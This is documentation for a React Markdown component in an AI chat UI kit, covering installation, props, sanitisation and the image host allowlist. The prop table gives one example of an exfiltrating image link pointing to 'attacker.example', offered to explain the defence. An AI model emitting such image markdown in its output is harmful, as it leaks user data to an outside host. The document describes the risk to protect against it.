# Markdown

> Streaming-safe GFM: unterminated syntax closed while streaming, no raw HTML, images only from hosts you allow.

Source: https://agent-ui-kit-demo.vercel.app/docs/components/markdown

## Installation

From npm:

```bash
npm i @dgesteves/agent-ui-kit ai
```

```tsx
import { Markdown } from '@dgesteves/agent-ui-kit';
import '@dgesteves/agent-ui-kit/styles.css'; // once per app, or @import '@dgesteves/agent-ui-kit/tailwind.css' with Tailwind v4
```

Or as source, with the shadcn CLI:

```bash
npx shadcn@latest add @agent-ui-kit/markdown
```

```tsx
import { Markdown } from '@/components/agent-ui/markdown';
```

## Usage

```tsx
<Markdown streaming={part.state === 'streaming'} citations={sources.length}>
  {part.text}
</Markdown>
```

## API reference

### Markdown

Streaming-safe markdown (GFM). While `streaming`, unterminated emphasis, code
and links are closed before parsing so partial output never flashes raw syntax.
Raw HTML is not rendered, links and images with unsafe protocols (`javascript:`,
`data:`) are stripped, and images load only from `allowedImageHosts`.

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `children` (required) | `string` |  |  |
| `streaming` | `boolean` | `false` | Repairs unterminated syntax and shows a caret while text is still arriving. |
| `citations` | `number` | `0` | Number of available sources; `[n]` markers up to this count become citation links. |
| `citationPrefix` | `string` | `'source'` | Must match the `idPrefix` of the `Sources` the citations point to. |
| `allowedImageHosts` | `readonly string[]` |  | Where images may load from. Default: nowhere. The browser fetches an image as soon as it renders, so a URL in model output can leak data (`![](https://attacker.example/p.png?d=…)`); a blocked image renders as a link with its alt text, and nothing is requested. - A host name of http(s) URLs, matched exactly: `'images.example.com'` (any port), or   `'localhost:3000'` (that port only). - `'self'`: relative URLs (`/logo.png`, `./chart.png`), which load from your own origin.   `//host/x` is not relative. An absolute URL to your own site needs its host listed. - `'*'`: every image. Compared by value, so an inline array does not re-render the markdown. |
| `components` | `Components` |  | Element overrides, merged over the defaults. Keep the object stable: a new one re-renders the markdown. |
| `className` | `string` |  |  |

## Accessibility

- Raw HTML in model output is never rendered, and links and images with `javascript:` or `data:` URLs are stripped.
- Images load only from `allowedImageHosts`. Others render as a link with their alt text, read as "Image:", and nothing is requested.
- `[n]` markers up to `citations` become links named "Source n".
- The streaming caret is hidden from screen readers.

## Theming

Slots (`data-slot`): `markdown`.


Tokens it uses: `--aui-accent`, `--aui-accent-fg`, `--aui-bg`, `--aui-border`, `--aui-border-strong`, `--aui-fg`, `--aui-fg-muted`, `--aui-fg-subtle`, `--aui-font-mono`, `--aui-font-sans`, `--aui-ring`, `--aui-surface-2`. See https://agent-ui-kit-demo.vercel.app/docs/getting-started#theming.
